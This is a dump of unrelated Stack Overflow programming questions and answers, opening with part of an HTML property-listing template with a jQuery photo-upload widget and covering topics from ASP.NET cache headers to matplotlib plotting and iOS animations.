&lt;!-- TMPL_VAR no_rooms ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Bedrooms&lt;/label&gt; &lt;!-- TMPL_VAR bdrms ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Baths, Full&lt;/label&gt; &lt;!-- TMPL_VAR baths_full ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Baths, Half&lt;/label&gt; &lt;!-- TMPL_VAR baths_part ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Approx. Sq. Ft.&lt;/label&gt; &lt;!-- TMPL_VAR sqft ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Approx. Lot Size&lt;/label&gt; &lt;!-- TMPL_VAR lot_size ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Approx. Acre&lt;/label&gt; &lt;!-- TMPL_VAR acres ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Foundation&lt;/label&gt; &lt;!-- TMPL_VAR foundation ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Exterior&lt;/label&gt; &lt;!-- TMPL_VAR exterior ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Heating&lt;/label&gt; &lt;!-- TMPL_VAR heating ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Cooling&lt;/label&gt; &lt;!-- TMPL_VAR cooling ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Fuel&lt;/label&gt; &lt;!-- TMPL_VAR heat_fuel ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Parking Spaces&lt;/label&gt; &lt;!-- TMPL_VAR gar_prk_no ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Sewer&lt;/label&gt; &lt;!-- TMPL_VAR sewer ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Water&lt;/label&gt; &lt;!-- TMPL_VAR water ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Fireplace&lt;/label&gt; &lt;!-- TMPL_VAR fireplace ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Tax 1&lt;/label&gt; &lt;!-- TMPL_VAR tax_1 ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Tax 2&lt;/label&gt; &lt;!-- TMPL_VAR tax_2 ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Six Month Tax&lt;/label&gt; &lt;!-- TMPL_VAR six_mo_taxes ESCAPE=0 --&gt; &lt;/div&gt; &lt;/fieldset&gt; &lt;/div&gt; &lt;hr /&gt; &lt;!-- TMPL_IF delete_mode --&gt; &lt;p&gt; &lt;!-- TMPL_LOOP Thumbnails --&gt; &lt;img src="/custom_prop/photo_thumbnail?filename=&lt;!-- TMPL_VAR filename --&gt;"&gt; &lt;!-- /TMPL_LOOP --&gt; &lt;/p&gt; &lt;!-- TMPL_ELSE --&gt; &lt;!-- Start Upload --&gt; &lt;noscript&gt;&lt;p&gt;JavaScript is required for photo upload.&lt;/p&gt;&lt;/noscript&gt; &lt;input type="hidden" name="nonce" value="&lt;!-- TMPL_VAR nonce --&gt;"/&gt; &lt;!-- The fileupload-buttonbar contains buttons to add/delete files and start/cancel the upload --&gt; &lt;div class="row fileupload-buttonbar"&gt; &lt;div class="col-md-7"&gt; &lt;!-- The fileinput-button span is used to style the file input field as button --&gt; &lt;span class="btn btn-success fileinput-button"&gt; &lt;i class="icon-plus icon-white"&gt;&lt;/i&gt; &lt;span&gt;Add photos...&lt;/span&gt; &lt;input type="file" name="files" multiple&gt; &lt;/span&gt; &lt;button type="submit" class="btn btn-primary start"&gt; &lt;i class="icon-upload icon-white"&gt;&lt;/i&gt; &lt;span&gt;Start upload&lt;/span&gt; &lt;/button&gt; &lt;button type="reset" class="btn btn-warning cancel"&gt; &lt;i class="icon-ban-circle icon-white"&gt;&lt;/i&gt; &lt;span&gt;Cancel upload&lt;/span&gt; &lt;/button&gt; &lt;button type="button" class="btn btn-danger delete"&gt; &lt;i class="icon-trash icon-white"&gt;&lt;/i&gt; &lt;span&gt;Delete&lt;/span&gt; &lt;/button&gt; &lt;!-- The loading indicator is shown during file processing --&gt; &lt;span class="fileupload-loading"&gt;&lt;/span&gt; &lt;/div&gt; &lt;!-- The global progress information --&gt; &lt;div class="span5 fileupload-progress fade"&gt; &lt;!-- The global progress bar --&gt; &lt;div class="progress progress-success progress-striped active" role="progressbar" aria-valuemin="0" aria-valuemax="100"&gt; &lt;div class="bar" style="width:0%;"&gt;&lt;/div&gt; &lt;/div&gt; &lt;!-- The extended global progress information --&gt; &lt;div class="progress-extended"&gt;&amp;nbsp;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- The table listing the files available for upload/download --&gt; &lt;table role="presentation" class="table table-striped"&gt;&lt;tbody class="files"&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;!-- The blueimp Gallery widget --&gt; &lt;div id="blueimp-gallery" class="blueimp-gallery blueimp-gallery-controls" data-filter=":even"&gt; &lt;div class="slides"&gt;&lt;/div&gt; &lt;h3 class="title"&gt;&lt;/h3&gt; &lt;a class="prev"&gt;‹&lt;/a&gt; &lt;a class="next"&gt;›&lt;/a&gt; &lt;a class="close"&gt;×&lt;/a&gt; &lt;a class="play-pause"&gt;&lt;/a&gt; &lt;ol class="indicator"&gt;&lt;/ol&gt; &lt;/div&gt; &lt;!-- /TMPL_IF --&gt; &lt;div class="row"&gt; &lt;div class="col-md-6"&gt; &lt;!-- TMPL_IF edit_mode --&gt; &lt;input type="submit" name="submit" class="btn btn-primary" value="Save"/&gt; &lt;input type="submit" name="cancel" class="btn" value="Cancel"/&gt; &lt;!-- /TMPL_IF --&gt; &lt;!-- TMPL_IF add_mode --&gt; &lt;input type="submit" name="submit" class="btn btn-primary" value="Save"/&gt; &lt;input type="submit" name="cancel" class="btn" value="Cancel"/&gt; &lt;!-- /TMPL_IF --&gt; &lt;!-- TMPL_IF delete_mode --&gt; &lt;p&gt;Are you sure you want to delete this listing?&lt;/p&gt; &lt;input type="submit" name="confirm" class="btn btn-primary" value="Yes"/&gt; &lt;input type="submit" name="cancel" class="btn" value="No"/&gt; &lt;!-- /TMPL_IF --&gt; &lt;/div&gt; &lt;/div&gt; &lt;/form&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- The template to display files available for upload --&gt; &lt;script id="template-upload" type="text/x-tmpl"&gt; {% for (var i=0, file; file=o.files[i]; i++) { %} &lt;tr class="template-upload fade"&gt; &lt;td&gt; &lt;span class="preview"&gt;&lt;/span&gt; &lt;/td&gt; &lt;td&gt; &lt;p class="name"&gt;{%=file.name%}&lt;/p&gt; {% if (file.error) { %} &lt;div&gt;&lt;span class="label label-important"&gt;Error&lt;/span&gt; {%=file.error%}&lt;/div&gt; {% } %} &lt;/td&gt; &lt;td&gt; &lt;p class="size"&gt;{%=o.formatFileSize(file.size)%}&lt;/p&gt; {% if (!o.files.error) { %} &lt;div class="progress progress-success progress-striped active" role="progressbar" aria-valuemin="0" aria-valuemax="100" aria-valuenow="0"&gt;&lt;div class="bar" style="width:0%;"&gt;&lt;/div&gt;&lt;/div&gt; {% } %} &lt;/td&gt; &lt;td&gt; {% if (!o.files.error &amp;&amp; !i &amp;&amp; !o.options.autoUpload) { %} &lt;button class="btn btn-primary start"&gt; &lt;i class="icon-upload icon-white"&gt;&lt;/i&gt; &lt;span&gt;Start&lt;/span&gt; &lt;/button&gt; {% } %} {% if (!i) { %} &lt;button class="btn btn-warning cancel"&gt; &lt;i class="icon-ban-circle icon-white"&gt;&lt;/i&gt; &lt;span&gt;Cancel&lt;/span&gt; &lt;/button&gt; {% } %} &lt;/td&gt; &lt;/tr&gt; {% } %} &lt;/script&gt; &lt;!-- The template to display files available for download --&gt; &lt;script id="template-download" type="text/x-tmpl"&gt; {% for (var i=0, file; file=o.files[i]; i++) { %} &lt;tr class="template-download fade"&gt; &lt;td&gt; &lt;span class="preview"&gt; {% if (file.thumbnailUrl) { %} &lt;a href="{%=file.url%}" title="{%=file.name%}" download="{%=file.name%}" data-gallery&gt;&lt;img src="{%=file.thumbnailUrl%}"&gt;&lt;/a&gt; {% } %} &lt;/span&gt; &lt;/td&gt; &lt;td&gt; &lt;p class="name"&gt; &lt;a href="{%=file.url%}" title="{%=file.name%}" download="{%=file.name%}" {%=file.thumbnailUrl?'data-gallery':''%}&gt;{%=file.name%}&lt;/a&gt; &lt;/p&gt; {% if (file.error) { %} &lt;div&gt;&lt;span class="label label-important"&gt;Error&lt;/span&gt; {%=file.error%}&lt;/div&gt; {% } %} &lt;/td&gt; &lt;td&gt; &lt;span class="size"&gt;{%=o.formatFileSize(file.size)%}&lt;/span&gt; &lt;/td&gt; &lt;td&gt; &lt;button class="btn btn-danger delete" data-type="{%=file.deleteType%}" data-url="{%=file.deleteUrl%}"{% if (file.deleteWithCredentials) { %} data-xhr-fields='{"withCredentials":true}'{% } %}&gt; &lt;i class="icon-trash icon-white"&gt;&lt;/i&gt; &lt;span&gt;Delete&lt;/span&gt; &lt;/button&gt; &lt;/td&gt; &lt;/tr&gt; {% } %} &lt;/script&gt; &lt;script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"&gt;&lt;/script&gt; &lt;!-- The jQuery UI widget factory, can be omitted if jQuery UI is already included --&gt; &lt;script src="/static/uploadlib/js/vendor/jquery.ui.widget.js"&gt;&lt;/script&gt; &lt;!-- The Templates plugin is included to render the upload/download listings --&gt; &lt;script src="/static/uploadlib/js/tmpl.min.js"&gt;&lt;/script&gt; &lt;!-- The Load Image plugin is included for the preview images and image resizing functionality --&gt; &lt;script src="/static/uploadlib/js/load-image.min.js"&gt;&lt;/script&gt; &lt;!-- blueimp Gallery script --&gt; &lt;script src="/static/uploadlib/js/jquery.blueimp-gallery.min.js"&gt;&lt;/script&gt; &lt;!-- The Iframe Transport is required for browsers without support for XHR file uploads --&gt; &lt;script src="/static/uploadlib/js/jquery.iframe-transport.js"&gt;&lt;/script&gt; &lt;!-- The basic File Upload plugin --&gt; &lt;script src="/static/uploadlib/js/jquery.fileupload.js"&gt;&lt;/script&gt; &lt;!-- The File Upload processing plugin --&gt; &lt;script src="/static/uploadlib/js/jquery.fileupload-process.js"&gt;&lt;/script&gt; &lt;!-- The File Upload image preview &amp; resize plugin --&gt; &lt;script src="/static/uploadlib/js/jquery.fileupload-image.js"&gt;&lt;/script&gt; &lt;!-- The File Upload validation plugin --&gt; &lt;script src="/static/uploadlib/js/jquery.fileupload-validate.js"&gt;&lt;/script&gt; &lt;!-- The File Upload user interface plugin --&gt; &lt;script src="/static/uploadlib/js/jquery.fileupload-ui.js"&gt;&lt;/script&gt; &lt;!-- The main application script --&gt; &lt;script&gt; $(function () { 'use strict'; // Initialize the jQuery File Upload widget: $('#fileupload').fileupload({ url: '/custom_prop/file_upload_handler?nonce=&lt;!-- TMPL_VAR nonce --&gt;' }); // Load existing files: $('#fileupload').addClass('fileupload-processing'); $.ajax({ url: $('#fileupload').fileupload('option', 'url'), dataType: 'json', context: $('#fileupload')[0] }).always(function () { $(this).removeClass('fileupload-processing'); }).done(function (result) { $(this).fileupload('option', 'done') .call(this, null, {result: result}); }); }); &lt;/script&gt; &lt;!-- End Upload --&gt; </code></pre>
33576878	0	Can't figure out which function called when <p>There is an <code>elements</code> object, which is not Array but array-like HTML object.<br> I need to <code>alert</code> <code>innerHTML</code> of each <code>element</code> in 1 second after <code>click</code> on it.<br> I wrote this code (below), but it doesn't work.</p> <pre><code>[].forEach.call(elements, function (element) { element.onclick = () =&gt; setTimeout(alert(element.innerHTML), 1000); }); </code></pre> <p>I intuitively know that there is an error in this code (even without its execution), but I don't know where and what is it like (something wrong with arguments maybe?).<br> Use of <code>forEach</code> is mandatory (indexer <code>i</code> is used in original code).</p> <hr> <p>Perhaps omitting insignificant details of the problem, I missed something meaningful. So I bring a more complete piece of code:</p> <pre><code>var colors = ["red", "green", "blue"]; var fragment = document.createDocumentFragment(); colors.forEach(function (color, i) { var span = document.createElement("SPAN"); span.style.backgroundColor = color; span.tabIndex = i + 1; span.onclick = () =&gt; setTimeout(console.log(span.innerHTML), 1000); fragment.appendChild(span); }); </code></pre>
38003890	0	RecyclerView's textview store/restore state in android fragment not working <p>I am developing one android application my problem structure is like this.</p> <p>One activity contains one fragment and this fragment contains one RecyclerView. RecyclerView item contains two textviews which displays simple text like this :</p> <pre><code> TextTitle TextValue --&gt; item1 TextTitle TextValue --&gt; item2 TextTitle TextValue --&gt; item3 </code></pre> <p>If User taps on text value, its value gets changed (Value is binary so it will be only two). If user change first two item's value by tapping and I want to restore those two values when I will come back to this fragment with a help of restore/save state.</p> <p>I followed many articles and gather information that if I have to use proper unique id in item's view layout for both textviews then recyclerview state will be stored automatically, only just you need to save whole recyclerview state. Its not working in my case. What am I doing wrong? Do I need to fill adapter again?</p> <p>any help would be appreciated.</p> <pre><code> @Override public void onSaveInstanceState(@NonNull Bundle outState) { super.onSaveInstanceState(outState); outState.putParcelable(INSTANCE_STATE_CONTENT_RECYCLER_VIEW,recyclerView.getLayoutManager().onSaveInstanceState()); } // again restore it restore it if (recyclerViewState != null) { recyclerView.getLayoutManager().onRestoreInstanceState(recyclerViewState); recyclerViewState = null; } @Override public void onViewBound(@Nullable Bundle savedInstanceState) { //super.onViewBound(savedInstanceState); if (savedInstanceState != null) { recyclerViewState = savedInstanceState.getParcelable(INSTANCE_STATE_CONTENT_RECYCLER_VIEW); } // continue with my work. } </code></pre>
8791424	0	Setting ASP.NET Cache control headers <p>In my asp.net forms app. I'm trying to prevent caching of certain pages. to do so I've set a series of cache control headers using Response.AppendHeader e.g.</p> <pre> protected override void OnLoad(Eventargs e) { ... Response.ClearHeaders(); Response.AppendHeader("Cache-Control","no-cache"); .... base.OnLoad(e); } </pre> <p>Trouble is when I view my site and look at the Net tab in the Firefox console to view the request/response headers I see a behavior as follows:</p> <ol> <li><p>a POST request/response for the page1.aspx which triggers a redirect (to page2.aspx) the response here contains the correct headers. </p></li> <li><p>a GET request/response for page2.aspx associated response has the cache-control header just has a value 'pre-check=0'</p></li> </ol> <p>That second request seems to allow the caching to happen for the page.. note: page1.aspx and page2.aspx both have the OnLoad logic I describe above. Also if I take some action on page2.aspx, the POST response will again have the correct headers.</p> <p>What am I missing here? My expectation was that with the logic in OnLoad should mean that I always get the headers in the response and therefore 'always' get the current version of the page? </p> <p>What I'm seeing is firefox loading it's cached version of the page.</p> <p>I'm considering creating a random identifier in the request url to force the matter, but that seems a little heavy handed.</p> <p>-----update----- It seems that, this may be related to having the caching code in 'OnLoad'. I've added these headers to the Page_Load() of the page and it works fine? any thoughts.</p>
13968272	0	 <p>It's a hack, but the best way I could find (without using ugly <code>ScrollPaneManager</code>s) was to implement a <code>ComponentListener</code> on the <code>JScrollPane</code> to resize the child component whenever it was resized.</p> <pre><code>jsp.addComponentListener(new ComponentListener() { @Override public void componentShown(ComponentEvent e) {} @Override public void componentResized(ComponentEvent e) { Dimension jspSize = ((JScrollPane)e.getComponent()).getViewport().getSize(); jep.setBounds(0, 0, jspSize.width, jspSize.height); } @Override public void componentMoved(ComponentEvent e) {} @Override public void componentHidden(ComponentEvent e) {} }); </code></pre>
2990839	0	 <p>Try changing the C# interface to take a <code>ref</code> parameter.</p>
325729	0	 <p>You cannot have multiple inheritance in Java. However by using AOP you can have "limited" multiple inheritance. Try to google this to see some examples.</p> <p>I also agree with Eyvid. Hannemann and Kiczales paper is great for learning the basics on design patterns and getting some great AOP examples.</p>
38648351	0	 <p>Pretty simple to translate, you just need to get used to the differences between Java and the C# wrappers. C# will use properties instead of getXXX methods, and use CamelCase instead of all caps.</p> <p>Inside your activity class:</p> <pre><code>using Android.Telephony; public class MyActivity : Activity { private string GetMyPhoneNumber() { var tMgr = (TelephonyManager)GetSystemService(TelephonyService); return tMgr.Line1Number; } } </code></pre>
11084216	0	Select statement to get a specific row from an inner join <p>The question I have is kind of simular to this one - <a href="http://stackoverflow.com/questions/10914079/mysql-select-1-row-from-inner-join">MySQL select 1 row from inner join</a></p> <p>However, it was never really answered in the way that I needed it. So I thought I would ask.</p> <p>I have a table A (tableA) and this table has a load of states in tableB. New states keep being added all the time.</p> <p>TableB has a column 'State' which has a foreign key to TableA.Id. This table B has a value and timestamp</p> <p>I am trying to get ONE query which will bring back ALL values in TableA, with an inner join to bring the LATEST 'value' of those rows from tableB. The latest being the one with the latest time.</p> <p>I know how to do an inner join where it needs to be, and I know how to order a table to bring back the latest 'time' row, however I dont know how to put these two together and create a single query.</p> <p>I'm sure I will have to have a Select within a select, which is fine. However, what I am trying to avoid is to bring a DataTable back with all my results from TableA and do a query for each of those on tableB seperately.</p> <p>Any ideas?</p> <p>EDIT - I have made a mistake with the question, I only really noticed when trying to implement one of the answers.</p> <p>I have a foreign key between TableA.id and TableB.proId</p> <p>TableA - 'Id', 'Name' TableB - 'Id', 'proId', 'State', 'time'</p> <p>I want to bring back all values of TableA with a join on B, to bring back the 'State' of the Max time</p>
19060155	0	 <p>Referencing the docs here: <a href="http://php.net/manual/en/function.mysql-query.php" rel="nofollow">http://php.net/manual/en/function.mysql-query.php</a>, mysql_query will return false in certain cases:</p> <p>"mysql_query() will also fail and return FALSE if the user does not have permission to access the table(s) referenced by the query."</p> <p>Further, you either have a bare word in there "tblurser" or there is a "$" missing. Either way that should likely be fixed.</p>
31617194	0	 <p>In ICEfaces for controls that has disabled property use:</p> <pre><code>&lt;ice:inputText disabled="[true/false]"/&gt; </code></pre> <p><strong>Example</strong></p> <p>I used this in my code:</p> <pre><code>&lt;ice:inputText disabled="#{ABMUsuario.accion!='3'}"/&gt; </code></pre>
8785620	0	 <p>I would suggest ensuring that you have the correct connection details. The easiest way I can think of would be :</p> <ol> <li>Create a new text file ( f.e. connection.txt )</li> <li>Rename '.txt' to '.udl'</li> <li>Double-click the created connection.udl file</li> <li>Provide all the required connection details, hit 'Test connection' button</li> <li>If it works, hit 'OK' button, open the file with Notepad - connection string will be inside of your connection.udl file. If it doesn't work - you need to find out proper server details ( check instance name, port number, if your user has the correct permissions )</li> </ol>
30776166	0	How to make OR operator in regular expression? <p>What i want is something like this:</p> <pre><code>( [integer OR (ANY but not integer or white-space)] [(ONE white-space OR NONE)] [integer OR (ANY but not integer or white-space)] ) </code></pre> <p>Example of strings that will match: <code>99 $</code> <code>99$</code> <code>$ 99</code> <code>$99</code></p> <p>what i have now is two regular expression :</p> <p><code>^[^\d\s](\s{0,1})\d+</code> AND <code>^\d+(\s{0,1})[^\d\s]</code></p> <p>any ideas of how to replace those two with only one regular expression?</p>
12681588	0	Is it possible to open a PDF with fancybox 2.1 in IE8? <p>I'm working on a site that hosts a lot of PDF files and I want to open them in fancybox (2.1) for a preview. It works just fine in Chrome and Firefox. But it just won't work in IE8. I've tried linking directly to the PDF file, linking to an iframe, and linking to an embed tag (among other crazier things). I can't use google to wrap them. Here is a page that demonstrates the problem. </p> <pre><code>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"&gt; &lt;head&gt; &lt;title&gt;My Page&lt;/title&gt; &lt;script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="jquery.fancybox.js?v=2.1.0"&gt;&lt;/script&gt; &lt;link type="text/css" rel="stylesheet" media="screen" href="jquery.fancybox.css" /&gt; &lt;/head&gt; &lt;body style="background-color:grey"&gt; &lt;p&gt;&lt;a href="mypdffile.pdf" class="fancypdf"&gt;a link&lt;/a&gt; to a PDF file.&lt;/p&gt; &lt;p&gt;&lt;a href="#Frame1" class="fancy"&gt;a link&lt;/a&gt; to an iframe with the pdf in it.&lt;/p&gt; &lt;div style="display:none"&gt; &lt;iframe id="Frame1" src="mypdffile.pdf" style='width:100%;' height="600" frameborder="0" allowTransparency="true"&gt;&lt;/iframe&gt; &lt;/div&gt; &lt;p&gt;&lt;a class="fancy" href="#mypdf" &gt;a link&lt;/a&gt; to a pdf in an embed tab&lt;/p&gt; &lt;div style="display:none"&gt;&lt;div id="mypdf"&gt; &lt;embed src="mypdffile.pdf" type="application/pdf" width="640" height="480" /&gt; &lt;/div&gt;&lt;/div&gt; &lt;script type='text/javascript'&gt; $(function(){ $("a.fancypdf").fancybox({type:'iframe'}); $("a.fancy").fancybox(); }); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>The results are different each time. In IE for the first link the spinner appears and hangs. For the second two, a fancybox popup appears, but it's empty. What am I doing wrong?</p>
39491970	0	Using Swift 3 Measurement and Unit classes in Realm <p>Does Realm support the new Measurement and Unit classes in Swift 3 Foundation? It doesn't appear to be the case currently. If not, is there a recommended strategy for a workaround?</p>
37534546	0	 <p>adding stuff to @theatlasroom answer, it can be called <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Grouping" rel="nofollow">grouping</a>, basically you are adding +1 to a value coming from myName.length without breaking things before or after it.</p> <p>javascript could compare it before being myName.length + 1 </p>
32425573	0	 <p>You can write in this way </p> <pre><code> &lt;script&gt; var x = -40; var y = 72; document.cookie = 'latitude' + "=" + x; document.cookie = 'longitude' + "=" + y; &lt;/script&gt; &lt;?php if(isset($_COOKIE['latitude']) &amp;&amp; isset($_COOKIE['longitude'])) { echo $_COOKIE['latitude']; echo $_COOKIE['longitude']; }else{ ?&gt; &lt;script type="text/javascript"&gt; document.body.innerHTML = x +'&lt;br&gt;'+y; // or in some element as you like &lt;/script&gt; &lt;?php } ?&gt; &lt;/body&gt; </code></pre>
13864329	0	 <p>I think the best way to store those coordinates is to create a very simple class for each country which have just a 2D <code>float</code> tab(first D is for geopoint number, the second D has a size of 2 and contains lat or long)</p> <p>With you coordinates list, you can create a list of <code>Region</code>(using <code>Path</code> and <code>Region.setPath(Path, Region)</code>) and call <code>Region.contain(X, Y)</code> to chack if the point X,Y is inside your country.</p>
34942048	0	 <p>So I have made so headway.<br> I started experimenting. <br> First if Magmi's Attribute Set Importer v0.0.2 was set ON - it would error and create 26 empty attributes no matter what I did.<br> Next it turns out you can not create and use custom attribute <B>product_id.</B> This also causes errors. I deleted that and changed it to manufacturer_id and it imports correctly.</p> <p>Here is the header I have so far:</p> <pre><code>sku name _attribute_set root_category_id weight description short_description categories _type status visibility manage_stock tax_class_id price cost qty manufacturer vendor color upc manufacturer_id </code></pre> <p>Here is example data:</p> <pre><code> 400100433072 Daewon Song Gold and Purple Default 2 0.25 Daewon Song Gold and Purple ear buds ear buds accessories::1::0::1/earbuds::1::0::0 simple 1 4 1 2 21.99 10 1 LOUD HAPPY HOUR gold purple 400100433072 02-02-0009 </code></pre> <p>Will just have to figure out how to deal with new attributes... </p>
1137446	0	 <p>There isn't a "standard" black one, but it's not that much work to do what you're asking.</p> <p>Create (in photoshop or something similar) your own black version of the detail disclosure button. You can screen grab and colour it in if that's easier. Then add it as a resource to your project and put it inside a UIImage like so:</p> <pre><code>UIImage myImage = [UIImage imageNamed:@"blackbutton.png"]; </code></pre> <p>Then create a UIImageView which contains that image:</p> <pre><code>UIImageView *imageView = [[UIImageView alloc] initWithImage:myImage]; </code></pre> <p>Finally then you can assign that to the "accessory view" for the cell you've set up already:</p> <pre><code>[cell setAccessoryView:imageView]; </code></pre> <p>Hope that helps!</p> <p>//EDIT - I felt like having a quick 5 mins in photoshop so created a black one for you. have fun!</p> <p><em>removed dead ImageShack link</em></p>
15833182	0	 <p>you can use mask array:</p> <pre><code>import numpy as np a=np.array([1,2,3,4,5,6,7,8,9]) b=np.array([-1,-2,-3,-4,-5,1,2,-3,-4]) plot(a, b) m = b &gt; 0 plot(np.ma.array(a, mask=m), np.ma.array(b, mask=m), 'r--', lw=2) </code></pre> <p><img src="https://i.stack.imgur.com/6d3oW.png" alt="enter image description here"></p> <p>However, I think this maybe not what you want. Here is a quick method that can split the lines into two parts:</p> <pre><code>import numpy as np a=np.array([1,2,3,4,5,6,7,8,9]) b=np.array([-1,-2,-3,-4,-5,1,2,-3,-4]) x = np.linspace(a.min(), a.max(), 1000) y = np.interp(x, a, b) m = y &lt;= 0 plot(np.ma.array(x, mask=m), np.ma.array(y, mask=m), 'b-', lw=2) m = y &gt; 0 plot(np.ma.array(x, mask=m), np.ma.array(y, mask=m), 'r--', lw=2) </code></pre> <p><img src="https://i.stack.imgur.com/p4ftX.png" alt="enter image description here"></p> <p><code>np.interp()</code> will use many memory for large dataset, here is another method that find all zero points. The output is the same as above.</p> <pre><code>idx1 = np.where(b[1:] * b[:-1] &lt; 0)[0] idx2 = idx1 + 1 x0 = a[idx1] + np.abs(b[idx1] / (b[idx2] - b[idx1])) * (a[idx2] - a[idx1]) a2 = np.insert(a, idx2, x0) b2 = np.insert(b, idx2, 0) m = b2 &lt; 0 plot(np.ma.array(a2, mask=m), np.ma.array(b2, mask=m), 'b-', lw=2) m = b2 &gt; 0 plot(np.ma.array(a2, mask=m), np.ma.array(b2, mask=m), 'r--', lw=2) </code></pre>
17863814	0	 <p>Handling the TextChanged event should work, however you need to set the DropDownStyle to DropDownList so that the Text property can only be a given value. Then check to see that both comboboxes have values selected. something like this should work:</p> <p>If ComboBox_Ticker.Text &lt;> "" AndAlso DateTime.TryParse(ComboBox_Date.Text, Nothing) Then</p>
36355238	0	 <p>You can also make this:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.outer{ margin-top: 10px; position:absolute; width:80px;height:80px; border:1px solid #d3d3d3; padding: 1px; } .inner{ position:relative; width:100%; height:100%; background:red; }</code></pre> </div> </div> </p>
6723161	0	Simple example of CALayers in an NSView <p>I am trying to add several CALayers to an NSView but my view remains empty when shown:</p> <p>Here is my code:</p> <pre><code>- (id)initWithFrame:(NSRect)frame { self = [super initWithFrame:frame]; if (self) { self.layer = [CALayer layer]; self.wantsLayer = YES; CALayer *newLayer = [CALayer layer]; NSImage *image = [NSImage imageNamed:@"page.png"]; newLayer.backgroundColor = [NSColor redColor].CGColor; newLayer.contents = (id)[image CGImageForProposedRect:NULL context:NULL hints:nil]; newLayer.frame = NSMakeRect(100,100,100,100);//NSMakeRect(0,0,image.size.width,image.size.height); newLayer.position = CGPointMake(20,20); [self.layer addSublayer:newLayer]; } return self; </code></pre> <p>}</p> <p>DO have any idea (or example of code) to perform this task?</p> <p>Thanks and regards,</p>
21703433	0	Loop an array to replace DIV class <p>I have a landing page with a full page banner and an enter button central. My problem is, to maintain visibility of the button. I need to change it's class from <code>.dark</code> to <code>.light</code> depending on if the background is a dark one or a light one.</p> <p>I have looked into changing the DIV for a set time that matches my slider and make an array that matches the colour of the background image so the button will change colour according to my array. I also want the transition from changing each DIV to 'if possible' be a fade transition. </p> <p>I know I am at risk of a duplicate post here but I want to stress this question is unique to stack overflow and I cannot find my answers elsewhere.</p> <p>There seems to be plenty of solutions for cycling DIVs but I need to find the one right for my problem.</p> <p>Okay, so from what I have read I have tried this with jQuery:</p> <pre><code>$(window).load(function(){ setTimeout( function(){ $('#one').replaceWith($('#two')); $('#two').show(); }, 10000 ); }); </code></pre> <p>I do not know how to move this into an array or add the transition, AND.. I believe this may just replace with a separate DIV, rather than just replacing the class in my DIV.</p> <p>I have also looked at this:</p> <pre><code>$(document).ready(function(){ window.setTimeout(function(){ $(".one").replaceClass(".two"); },100); }); </code></pre> <p>However, this doesn't seem to operate and I am unsure as to how to fix? Can someone offer me a hand to solve this puzzle I am having.</p> <p>EDIT:</p> <pre><code>&lt;div class="door"&gt; &lt;img src="img/logo-inv.png"&gt; &lt;br&gt; &lt;a href="#" class="btn btn-dark"&gt;ENTER&lt;/a&gt; &lt;/div&gt; </code></pre> <p>I've simplified the code to avoid confusion. The tag I would like to change is "btn-dark".</p>
26927013	0	How to set frame for CATransition in iOS <p>Iam new to ios development.I have one doubt related to CATransition.I placed one imageview with one image from top to middle of the screen(0,0,320,250).Iam using animation to animate the image from bottom to top in viewdidload method.But the image is animating from bottom of self.view, But i need to animate the image from height 250 not from 568.</p> <p>The code what iam using is below: </p> <pre><code>CATransition *transition = [CATransition animation]; transition.duration = 1.0f; transition.timingFunction = [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionEaseInEaseOut]; transition.type = kCATransitionPush; transition.subtype = kCATransitionFromTop; [topImage.layer addAnimation:transition forKey:nil]; </code></pre> <p><img src="https://i.stack.imgur.com/BNvcq.png" alt="enter image description here"></p> <p>in the image where we have cyan color iam placing image there.i need to animate the image from starting of black color.</p> <p>If any konw the answer please let me know.</p> <p>Thanks in advance.....</p>
